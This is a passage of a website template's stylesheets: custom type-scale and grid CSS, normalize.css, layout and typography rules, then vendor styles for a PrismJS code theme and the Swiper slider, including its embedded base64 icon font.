* ratio 1 :2 | base: 18px
* -------------------------------------------------------
*
* --text-display-3 = (77.40px)
* --text-display-2 = (64.50px)
* --text-display-1 = (53.75px)
* --text-xxxl = (44.79px)
* --text-xxl = (37.32px)
* --text-xl = (31.10px)
* --text-lg = (25.92px)
* --text-md = (21.60px)
* --text-size = (18.00px) BASE
* --text-sm = (15.00px)
* --text-xs = (12.50px)
*
* ---------------------------------------------------------
*/
--text-scale-ratio : 1.2;
--text-size : var(--base-font-size);
--text-xs : calc((var(--text-size) / var(--text-scale-ratio)) / var(--text-scale-ratio));
--text-sm : calc(var(--text-xs) * var(--text-scale-ratio));
--text-md : calc(var(--text-sm) * var(--text-scale-ratio) * var(--text-scale-ratio));
--text-lg : calc(var(--text-md) * var(--text-scale-ratio));
--text-xl : calc(var(--text-lg) * var(--text-scale-ratio));
--text-xxl : calc(var(--text-xl) * var(--text-scale-ratio));
--text-xxxl : calc(var(--text-xxl) * var(--text-scale-ratio));
--text-display-1 : calc(var(--text-xxxl) * var(--text-scale-ratio));
--text-display-2 : calc(var(--text-display-1) * var(--text-scale-ratio));
--text-display-3 : calc(var(--text-display-2) * var(--text-scale-ratio));
/* default button height
*/
--vspace-btn : var(--vspace-2);
}
/* on mobile devices below 600px, change the value of '--multiplier'
* to adjust the values of base font size and vertical space unit.
*/
@media screen and (max-width: 600px) {
:root {
--multiplier : .9375;
}
}
/* -------------------------------------------------------------------
* ## grid variables
* ------------------------------------------------------------------- */
:root {
/* widths for rows and containers
*/
--width-full : 100%;
--width-max : 1200px;
--width-wide : 1400px;
--width-wider : 1600px;
--width-widest : 1800px;
--width-narrow : 1000px;
--width-narrower : 800px;
--width-grid-max : var(--width-max);
/* gutter
*/
--gutter : 2.4rem;
}
/* on medium screen devices
*/
@media screen and (max-width: 1200px) {
:root {
--gutter : 2rem;
}
}
/* on mobile devices
*/
@media screen and (max-width: 600px) {
:root {
--gutter : 1rem;
}
}
/* ====================================================================
* # NORMALIZE
*
*
* --------------------------------------------------------------------
* normalize.css v8.0.1 | MIT License |
* github.com/necolas/normalize.css
* -------------------------------------------------------------------- */
html {
line-height : 1.15;
-webkit-text-size-adjust : 100%;
}
body {
margin : 0;
}
main {
display : block;
}
h1 {
font-size : 2em;
margin : 0.67em 0;
}
hr {
box-sizing : content-box;
height : 0;
overflow : visible;
}
pre {
font-family : monospace, monospace;
font-size : 1em;
}
a {
background-color : transparent;
}
abbr[title] {
border-bottom : none;
text-decoration : underline;
text-decoration : underline dotted;
}
b,
strong {
font-weight : bolder;
}
code,
kbd,
samp {
font-family : monospace, monospace;
font-size : 1em;
}
small {
font-size : 80%;
}
sub,
sup {
font-size : 75%;
line-height : 0;
position : relative;
vertical-align : baseline;
}
sub {
bottom : -0.25em;
}
sup {
top : -0.5em;
}
img {
border-style : none;
}
button,
input,
optgroup,
select,
textarea {
font-family : inherit;
font-size : 100%;
line-height : 1.15;
margin : 0;
}
button,
input {
overflow : visible;
}
button,
select {
text-transform : none;
}
button,
[type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance : button;
}
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style : none;
padding : 0;
}
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline : 1px dotted ButtonText;
}
fieldset {
padding : 0.35em 0.75em 0.625em;
}
legend {
box-sizing : border-box;
color : inherit;
display : table;
max-width : 100%;
padding : 0;
white-space : normal;
}
progress {
vertical-align : baseline;
}
textarea {
overflow : auto;
}
[type="checkbox"],
[type="radio"] {
box-sizing : border-box;
padding : 0;
}
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height : auto;
}
[type="search"] {
-webkit-appearance : textfield;
outline-offset : -2px;
}
[type="search"]::-webkit-search-decoration {
-webkit-appearance : none;
}
::-webkit-file-upload-button {
-webkit-appearance : button;
font : inherit;
}
details {
display : block;
}
summary {
display : list-item;
}
template {
display : none;
}
[hidden] {
display : none;
}
/* ===================================================================
* # BASE SETUP
*
*
* ------------------------------------------------------------------- */
html {
font-size : var(--base-size);
box-sizing : border-box;
}
*,
*::before,
*::after {
box-sizing : inherit;
}
html,
body {
height : 100%;
}
body {
background-color : var(--color-body);
-webkit-overflow-scrolling : touch;
-webkit-text-size-adjust : 100%;
-webkit-tap-highlight-color : rgba(0, 0, 0, 0);
-webkit-font-smoothing : antialiased;
-moz-osx-font-smoothing : grayscale;
}
p {
font-size : inherit;
text-rendering : optimizeLegibility;
}
a {
text-decoration : none;
}
svg,
img,
video {
max-width : 100%;
height : auto;
}
pre {
overflow : auto;
}
div,
dl,
dt,
dd,
ul,
ol,
li,
h1,
h2,
h3,
h4,
h5,
h6,
pre,
form,
p,
blockquote,
th,
td {
margin : 0;
padding : 0;
}
input[type="email"],
input[type="number"],
input[type="search"],
input[type="text"],
input[type="tel"],
input[type="url"],
input[type="password"],
textarea {
-webkit-appearance : none;
-moz-appearance : none;
appearance : none;
}
/* ===================================================================
* # GRID v4.0.0
*
*
* -----------------------------------------------------------------
* - Grid breakpoints are based on MAXIMUM WIDTH media queries,
* meaning they apply to that one breakpoint and ALL THOSE BELOW IT.
* - Grid columns without a specified width will automatically layout
* as equal width columns.
*
* - BLOCK GRID columns(columns inside BLOCK GRID containers) are
* equally-sized columns define at parent/row level.
* A BLOCK GRID container's class attribute value begins with "block-".
*
* ------------------------------------------------------------------- */
/* row
*/
.row {
width : 92%;
max-width : var(--width-grid-max);
margin : 0 auto;
display : flex;
flex-flow : row wrap;
}
.row .row {
width : auto;
max-width : none;
margin-left : calc(var(--gutter) * -1);
margin-right : calc(var(--gutter) * -1);
}
/* column
*/
.column {
display : block;
flex : 1 1 0%;
padding : 0 var(--gutter);
}
.collapse>.column,
.column.collapse {
padding : 0;
}
/* row utility classes
*/
.row.row-wrap {
flex-wrap : wrap;
}
.row.row-nowrap {
flex-wrap : nowrap;
}
.row.row-y-top {
align-items : flex-start;
}
.row.row-y-bottom {
align-items : flex-end;
}
.row.row-y-center {
align-items : center;
}
.row.row-stretch {
align-items : stretch;
}
.row.row-baseline {
align-items : baseline;
}
.row.row-x-left {
justify-content : flex-start;
}
.row.row-x-right {
justify-content : flex-end;
}
.row.row-x-center {
justify-content : center;
}
/* --------------------------------------------------------------------
* ## large screen devices
* -------------------------------------------------------------------- */
.lg-1 {
flex : none;
width : 8.33333%;
}
.lg-2 {
flex : none;
width : 16.66667%;
}
.lg-3 {
flex : none;
width : 25%;
}
.lg-4 {
flex : none;
width : 33.33333%;
}
.lg-5 {
flex : none;
width : 41.66667%;
}
.lg-6 {
flex : none;
width : 50%;
}
.lg-7 {
flex : none;
width : 58.33333%;
}
.lg-8 {
flex : none;
width : 66.66667%;
}
.lg-9 {
flex : none;
width : 75%;
}
.lg-10 {
flex : none;
width : 83.33333%;
}
.lg-11 {
flex : none;
width : 91.66667%;
}
.lg-12 {
flex : none;
width : 100%;
}
.block-lg-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-lg-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-lg-one-fifth>.column {
flex : none;
width : 20%;
}
.block-lg-one-fourth>.column {
flex : none;
width : 25%;
}
.block-lg-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-lg-one-half>.column {
flex : none;
width : 50%;
}
.block-lg-whole>.column {
flex : none;
width : 100%;
}
/* --------------------------------------------------------------------
* ## medium screen devices
* -------------------------------------------------------------------- */
@media screen and (max-width: 1200px) {
.md-1 {
flex : none;
width : 8.33333%;
}
.md-2 {
flex : none;
width : 16.66667%;
}
.md-3 {
flex : none;
width : 25%;
}
.md-4 {
flex : none;
width : 33.33333%;
}
.md-5 {
flex : none;
width : 41.66667%;
}
.md-6 {
flex : none;
width : 50%;
}
.md-7 {
flex : none;
width : 58.33333%;
}
.md-8 {
flex : none;
width : 66.66667%;
}
.md-9 {
flex : none;
width : 75%;
}
.md-10 {
flex : none;
width : 83.33333%;
}
.md-11 {
flex : none;
width : 91.66667%;
}
.md-12 {
flex : none;
width : 100%;
}
.block-md-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-md-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-md-one-fifth>.column {
flex : none;
width : 20%;
}
.block-md-one-fourth>.column {
flex : none;
width : 25%;
}
.block-md-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-md-one-half>.column {
flex : none;
width : 50%;
}
.block-md-whole>.column {
flex : none;
width : 100%;
}
.hide-on-md {
display : none;
}
}
/* --------------------------------------------------------------------
* ## tablet devices
* -------------------------------------------------------------------- */
@media screen and (max-width: 800px) {
.tab-1 {
flex : none;
width : 8.33333%;
}
.tab-2 {
flex : none;
width : 16.66667%;
}
.tab-3 {
flex : none;
width : 25%;
}
.tab-4 {
flex : none;
width : 33.33333%;
}
.tab-5 {
flex : none;
width : 41.66667%;
}
.tab-6 {
flex : none;
width : 50%;
}
.tab-7 {
flex : none;
width : 58.33333%;
}
.tab-8 {
flex : none;
width : 66.66667%;
}
.tab-9 {
flex : none;
width : 75%;
}
.tab-10 {
flex : none;
width : 83.33333%;
}
.tab-11 {
flex : none;
width : 91.66667%;
}
.tab-12 {
flex : none;
width : 100%;
}
.block-tab-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-tab-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-tab-one-fifth>.column {
flex : none;
width : 20%;
}
.block-tab-one-fourth>.column {
flex : none;
width : 25%;
}
.block-tab-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-tab-one-half>.column {
flex : none;
width : 50%;
}
.block-tab-whole>.column {
flex : none;
width : 100%;
}
.hide-on-tab {
display : none;
}
}
/* --------------------------------------------------------------------
* ## mobile devices
* -------------------------------------------------------------------- */
@media screen and (max-width: 600px) {
.row {
width : 100%;
padding-left : 6vw;
padding-right : 6vw;
}
.row .row {
padding-left : 0;
padding-right : 0;
}
.mob-1 {
flex : none;
width : 8.33333%;
}
.mob-2 {
flex : none;
width : 16.66667%;
}
.mob-3 {
flex : none;
width : 25%;
}
.mob-4 {
flex : none;
width : 33.33333%;
}
.mob-5 {
flex : none;
width : 41.66667%;
}
.mob-6 {
flex : none;
width : 50%;
}
.mob-7 {
flex : none;
width : 58.33333%;
}
.mob-8 {
flex : none;
width : 66.66667%;
}
.mob-9 {
flex : none;
width : 75%;
}
.mob-10 {
flex : none;
width : 83.33333%;
}
.mob-11 {
flex : none;
width : 91.66667%;
}
.mob-12 {
flex : none;
width : 100%;
}
.block-mob-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-mob-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-mob-one-fifth>.column {
flex : none;
width : 20%;
}
.block-mob-one-fourth>.column {
flex : none;
width : 25%;
}
.block-mob-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-mob-one-half>.column {
flex : none;
width : 50%;
}
.block-mob-whole>.column {
flex : none;
width : 100%;
}
.hide-on-mob {
display : none;
}
}
/* --------------------------------------------------------------------
* ## small screen devices
* --------------------------------------------------------------------*/
/* stack columns on small screen devices
*/
@media screen and (max-width: 400px) {
.row .row {
margin-left : 0;
margin-right : 0;
}
.block-stack>.column,
.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
padding : 0;
}
.hide-on-sm {
display : none;
}
}
/* --------------------------------------------------------------------
* ## additional column stackpoints
* -------------------------------------------------------------------- */
@media screen and (max-width: 1000px) {
.stack-on-1000,
.block-stack-on-1000>.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
}
}
@media screen and (max-width: 700px) {
.stack-on-700,
.block-stack-on-700>.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
}
}
@media screen and (max-width: 550px) {
.stack-on-550,
.block-stack-on-550>.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
}
}
/* ===================================================================
* # UTILITY CLASSES
*
*
* ------------------------------------------------------------------- */
/* flex item alignment classes
*/
.u-flexitem-center {
margin : auto;
align-self : center;
}
.u-flexitem-left {
margin-right : auto;
align-self : center;
}
.u-flexitem-right {
margin-left : auto;
align-self : center;
}
.u-flexitem-x-center {
margin-right : auto;
margin-left : auto;
}
.u-flexitem-x-left {
margin-right : auto;
}
.u-flexitem-x-right {
margin-left : auto;
}
.u-flexitem-y-center {
align-self : center;
}
.u-flexitem-y-top {
align-self : flex-start;
}
.u-flexitem-y-bottom {
align-self : flex-end;
}
/* misc helper classes
*/
.u-clearfix:after {
content : "";
display : table;
clear : both;
}
.u-hidden {
display : none;
}
.u-invisible {
visibility : hidden;
}
.u-antialiased {
-webkit-font-smoothing : antialiased;
-moz-osx-font-smoothing : grayscale;
}
.u-overflow-hidden {
overflow : hidden;
}
.u-remove-top {
margin-top : 0;
}
.u-remove-bottom {
margin-bottom : 0;
}
.u-add-half-bottom {
margin-bottom : var(--vspace-0_5);
}
.u-add-bottom {
margin-bottom : var(--vspace-1);
}
.u-no-border {
border : none;
}
.u-fullwidth {
width : 100%;
}
.u-pull-left {
float : left;
}
.u-pull-right {
float : right;
}
/* ===================================================================
* # PRELOADER
*
*
* -------------------------------------------------------------------
* - markup:
*
* <div id="preloader">
* <div id="loader"></div>
* </div>
*
* ------------------------------------------------------------------- */
#preloader {
position : fixed;
display : flex;
flex-flow : row wrap;
justify-content : center;
align-items : center;
background : var(--color-preloader-bg);
z-index : 500;
height : 100vh;
width : 100%;
opacity : 1;
pointer-events : none;
}
.no-js #preloader {
display : none;
}
#loader {
width : var(--vspace-1_5);
height : var(--vspace-1_5);
padding : 0;
opacity : 1;
}
#loader::before {
content : "";
border-top : 4px solid var(--color-loader-light);
border-right : 4px solid var(--color-loader-light);
border-bottom : 4px solid var(--color-loader-light);
border-left : 4px solid var(--color-loader);
-webkit-animation : load 1.1s infinite linear;
animation : load 1.1s infinite linear;
display : block;
border-radius : 50%;
width : 100%;
height : 100%;
}
@-webkit-keyframes load {
0% {
-webkit-transform : rotate(0deg);
transform : rotate(0deg);
}
100% {
-webkit-transform : rotate(360deg);
transform : rotate(360deg);
}
}
@keyframes load {
0% {
transform : rotate(0deg);
}
100% {
transform : rotate(360deg);
}
}
/* -------------------------------------------------------------------
* ## page loaded
* ------------------------------------------------------------------- */
.ss-loaded #preloader {
opacity : 0;
visibility : hidden;
transition : all .6s .9s ease-in-out;
}
.ss-loaded #preloader #loader {
opacity : 0;
transition : opacity .6s ease-in-out;
}
/* ===================================================================
* # TYPOGRAPHY
*
*
* ------------------------------------------------------------------- */
body {
font-family : var(--font-1);
font-size : var(--base-font-size);
font-weight : 400;
line-height : var(--vspace-1);
background-color : var(--color-preloader-bg);
color : var(--color-gray-6);
}
/* links
*/
a {
color : white;
transition : all 0.3s ease-in-out;
}
a:focus,
a:hover,
a:active {
color : var(--color-3-light);
}
a:hover,
a:active {
outline : 0;
}
/* headings
*/
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
font-family : var(--font-1);
font-weight : 500;
color : white;
font-variant-ligatures : common-ligatures;
text-rendering : optimizeLegibility;
}
h1,
.h1 {
margin-top : var(--vspace-2_5);
margin-bottom : var(--vspace-0_75);
}
h2,
.h2,
h3,
.h3,
h4,
.h4 {
margin-top : var(--vspace-2);
margin-bottom : var(--vspace-0_5);
}
h5,
.h5,
h6,
.h6 {
margin-top : var(--vspace-1_5);
margin-bottom : var(--vspace-0_5);
}
h1,
.h1 {
font-size : var(--text-display-1);
line-height : var(--vspace-2);
letter-spacing : -.02em;
}
@media screen and (max-width: 500px) {
h1,
.h1 {
font-size : var(--text-xxxl);
line-height : calc(1.625 * var(--space));
}
}
h2,
.h2 {
font-size : var(--text-xxl);
line-height : var(--vspace-1_5);
letter-spacing : -.02em;
}
h3,
.h3 {
font-size : var(--text-xl);
line-height : var(--vspace-1_25);
}
h4,
.h4 {
font-size : var(--text-lg);
line-height : var(--vspace-1);
}
h5,
.h5 {
font-size : var(--text-md);
line-height : var(--vspace-0_875);
}
h6,
.h6 {
font-family : var(--font-1);
font-size : var(--text-sm);
line-height : var(--vspace-0_75);
text-transform : uppercase;
letter-spacing : .35rem;
}
/* emphasis, italic,
* strong, bold and small text
*/
em,
i,
strong,
b {
font-size : inherit;
line-height : inherit;
}
em,
i {
font-style : italic;
}
strong,
b {
font-weight : 600;
}
small {
font-size : 75%;
font-weight : 400;
line-height : var(--vspace-0_5);
}
/* ===================================================================
* #LAYOUT
*
*
* ------------------------------------------------------------------- */
/* header
*/
header {
padding : var(--vspace-1_25) 0 var(--vspace-1_5);
margin-bottom : var(--vspace-1_5);
text-align : center;
position : relative;
}
header::after {
content : "";
width : 300px;
height : 1px;
background : rgba(255, 255, 255, 0.05);
transform : translateX(-50%);
position : absolute;
bottom : 0;
left : 50%;
}
header .row {
max-width : 900px;
}
@media screen and (max-width: 1200px) {
header .row {
max-width : 700px;
}
}
header h1 {
font-family : var(--font-3);
font-size : var(--text-xxl);
line-height : var(--vspace-1_5);
margin-bottom : var(--vspace-0_75);
}
/* responsive:
* header
*/
@media screen and (max-width: 600px) {
header::after {
width : 150px;
}
header h1 {
font-size : var(--text-xl);
line-height : var(--vspace-1_25);
}
}
/* main
*/
main {
text-align : center;
padding-bottom : var(--vspace-2_5);
}
main .row {
max-width : 1160px;
}
main .column {
margin-bottom : var(--vspace-1);
}
main .entry__thumb {
position : relative;
overflow : hidden;
}
main .entry__thumb a {
display : block;
}
main .entry__thumb a img {
vertical-align : bottom;
}
main .entry__thumb a::before {
z-index : 1;
content : "";
display : block;
background : rgba(0, 0, 0, 0.8);
opacity : 0;
visibility : hidden;
position : absolute;
top : 0;
left : 0;
right : 0;
bottom : 0;
width : 100%;
height : 100%;
transition : all .3s;
}
main .entry__thumb a::after {
content : "...";
font-family : var(--font-1);
font-weight : 300;
font-size : var(--text-md);
z-index : 1;
display : block;
height : 30px;
width : 30px;
letter-spacing : -1px;
line-height : 30px;
margin-left : -15px;
margin-top : -30px;
position : absolute;
left : 50%;
top : 50%;
text-align : center;
color : white;
opacity : 0;
visibility : hidden;
transform : scale(0.5);
transition : all .3s;
}
main .entry__thumb:hover a::before {
opacity : 1;
visibility : visible;
}
main .entry__thumb:hover a::after {
opacity : 1;
visibility : visible;
transform : scale(1);
}
main .entry__title {
padding-top : var(--vspace-0_75);
}
main .entry__title h3 {
font-size : var(--text-sm);
line-height : var(--vspace-0_75);
margin-top : 0;
}
/* responsive:
* main
*/
@media screen and (max-width: 1200px) {
main .row {
max-width : 900px;
}
}
@media screen and (max-width: 800px) {
main .row {
max-width : 500px;
}
} vendor.css 0000604 00000050066 15074622634 0006567 0 ustar 00 /* ===================================================================
* Khronos Third-party Stylesheets
* Template Ver. 2.0.0
* 07-03-2021
* -------------------------------------------------------------------
*
* TOC:
* # PrismJS
* # Swiper
*
* ------------------------------------------------------------------- */
/* ===================================================================
* # PrismJS 1.20.0
* https://prismjs.com/download.html#themes=prism-okaidia&languages=markup+css+clike+javascript+markup-templating+php
*
* okaidia theme for JavaScript, CSS and HTML
* Loosely based on Monokai textmate theme by http://www.monokai.nl/
* @author ocodia
* ------------------------------------------------------------------- */
code[class*="language-"],
pre[class*="language-"] {
color : #f8f8f2;
background : none;
text-shadow : 0 1px rgba(0, 0, 0, 0.3);
font-family : var(--font-mono);
font-size : calc(var(--text-size) * 0.9444);
text-align : left;
white-space : pre;
word-spacing : normal;
word-break : normal;
word-wrap : normal;
line-height : var(--vspace-1);
-moz-tab-size : 4;
-o-tab-size : 4;
tab-size : 4;
-webkit-hyphens : none;
-moz-hyphens : none;
-ms-hyphens : none;
hyphens : none;
}
/* Code blocks */
pre[class*="language-"] {
padding : var(--vspace-0_5) 0 var(--vspace-1);
margin : var(--vspace-1) 0;
overflow : auto;
}
:not(pre)>code[class*="language-"],
pre[class*="language-"] {
background : #272822;
}
/* Inline code */
:not(pre)>code[class*="language-"] {
padding : .1em;
white-space : normal;
}
.token.comment,
.token.prolog,
.token.doctype,
.token.cdata {
color : slategray;
}
.token.punctuation {
color : #f8f8f2;
}
.token.namespace {
opacity : .7;
}
.token.property,
.token.tag,
.token.constant,
.token.symbol,
.token.deleted {
color : #f92672;
}
.token.boolean,
.token.number {
color : #ae81ff;
}
.token.selector,
.token.attr-name,
.token.string,
.token.char,
.token.builtin,
.token.inserted {
color : #a6e22e;
}
.token.operator,
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string,
.token.variable {
color : #f8f8f2;
}
.token.atrule,
.token.attr-value,
.token.function,
.token.class-name {
color : #e6db74;
}
.token.keyword {
color : #66d9ef;
}
.token.regex,
.token.important {
color : #fd971f;
}
.token.important,
.token.bold {
font-weight : bold;
}
.token.italic {
font-style : italic;
}
.token.entity {
cursor : help;
}
/* ===================================================================
* # Swiper 6.4.5
* Most modern mobile touch slider and framework with hardware accelerated transitions
* https://swiperjs.com
*
* Copyright 2014-2020 Vladimir Kharlampidi
*
* Released under the MIT License
*
* Released on: December 18, 2020
* ------------------------------------------------------------------- */
@font-face {
font-family : "swiper-icons";
src : url("data:application/font-woff;charset=utf-8;base64, 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") format("woff");
font-weight : 400;
font-style : normal;
}
:root {
--swiper-theme-color : #007aff;
}
.swiper-container {
margin-left : auto;
margin-right : auto;
position : relative;
overflow : hidden;
list-style : none;
padding : 0;
/* Fix of Webkit flickering */
z-index : 1;
}
.swiper-container-vertical>.swiper-wrapper {
flex-direction : column;
}
.swiper-wrapper {
position : relative;
width : 100%;
height : 100%;
z-index : 1;
display : flex;
transition-property : transform;
box-sizing : content-box;
}
.swiper-container-android .swiper-slide,
.swiper-wrapper {
transform : translate3d(0px, 0, 0);
}
.swiper-container-multirow>.swiper-wrapper {
flex-wrap : wrap;
}
.swiper-container-multirow-column>.swiper-wrapper {
flex-wrap : wrap;
flex-direction : column;
}
.swiper-container-free-mode>.swiper-wrapper {
transition-timing-function : ease-out;
margin : 0 auto;
}
.swiper-slide {
flex-shrink : 0;
width : 100%;
height : 100%;
position : relative;
transition-property : transform;
}
.swiper-slide-invisible-blank {
visibility : hidden;
}
/* Auto Height */
.swiper-container-autoheight,
.swiper-container-autoheight .swiper-slide {
height : auto;
}
.swiper-container-autoheight .swiper-wrapper {
align-items : flex-start;
transition-property : transform, height;
}
/* 3D Effects */
.swiper-container-3d {
perspective : 1200px;
}
.swiper-container-3d .swiper-wrapper,
.swiper-container-3d .swiper-slide,
.swiper-container-3d .swiper-slide-shadow-left,
.swiper-container-3d .swiper-slide-shadow-right,
.swiper-container-3d .swiper-slide-shadow-top,
.swiper-container-3d .swiper-slide-shadow-bottom,
.swiper-container-3d .swiper-cube-shadow {
transform-style : preserve-3d;
}
.swiper-container-3d .swiper-slide-shadow-left,
.swiper-container-3d .swiper-slide-shadow-right,
.swiper-container-3d .swiper-slide-shadow-top,
.swiper-container-3d .swiper-slide-shadow-bottom {
position : absolute;
left : 0;
top : 0;
width : 100%;
height : 100%;
pointer-events : none;
z-index : 10;
}
.swiper-container-3d .swiper-slide-shadow-left {
background-image : linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
.swiper-container-3d .swiper-slide-shadow-right {
background-image : linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
.swiper-container-3d .swiper-slide-shadow-top {
background-image : linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
.swiper-container-3d .swiper-slide-shadow-bottom {
background-image : linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
/* CSS Mode */
.swiper-container-css-mode>.swiper-wrapper {
overflow : auto;
scrollbar-width : none;
/* For Firefox */
-ms-overflow-style : none;
/* For Internet Explorer and Edge */
}
.swiper-container-css-mode>.swiper-wrapper::-webkit-scrollbar {
display : none;
}
.swiper-container-css-mode>.swiper-wrapper>.swiper-slide {
scroll-snap-align : start start;
}
.swiper-container-horizontal.swiper-container-css-mode>.swiper-wrapper {
scroll-snap-type : x mandatory;
}
.swiper-container-vertical.swiper-container-css-mode>.swiper-wrapper {
scroll-snap-type : y mandatory;
}
:root {
--swiper-navigation-size : 44px;
/*
--swiper-navigation-color : var(--swiper-theme-color);
*/
}
.swiper-button-prev,
.swiper-button-next {
position : absolute;
top : 50%;
width : calc(var(--swiper-navigation-size) / 44 * 27);
height : var(--swiper-navigation-size);
margin-top : calc(-1 * var(--swiper-navigation-size) / 2);
z-index : 10;
cursor : pointer;
display : flex;
align-items : center;
justify-content : center;
color : var(--swiper-navigation-color, var(--swiper-theme-color));
}
.swiper-button-prev.swiper-button-disabled,
.swiper-button-next.swiper-button-disabled {
opacity : 0.35;
cursor : auto;
pointer-events : none;
}
.swiper-button-prev:after,
.swiper-button-next:after {
font-family : swiper-icons;
font-size : var(--swiper-navigation-size);
text-transform : none !important;
letter-spacing : 0;
text-transform : none;
font-variant : initial;
line-height : 1;
}
.swiper-button-prev,
.swiper-container-rtl .swiper-button-next {
left : 10px;
right : auto;
}
.swiper-button-prev:after,
.swiper-container-rtl .swiper-button-next:after {
content : "prev";
}
.swiper-button-next,
.swiper-container-rtl .swiper-button-prev {
right : 10px;
left : auto;
}
.swiper-button-next:after,
.swiper-container-rtl .swiper-button-prev:after {
content : "next";
}
.swiper-button-prev.swiper-button-white,
.swiper-button-next.swiper-button-white {
--swiper-navigation-color : #ffffff;
}
.swiper-button-prev.swiper-button-black,
.swiper-button-next.swiper-button-black {
--swiper-navigation-color : #000000;
}
.swiper-button-lock {
display : none;
}
:root {
/*
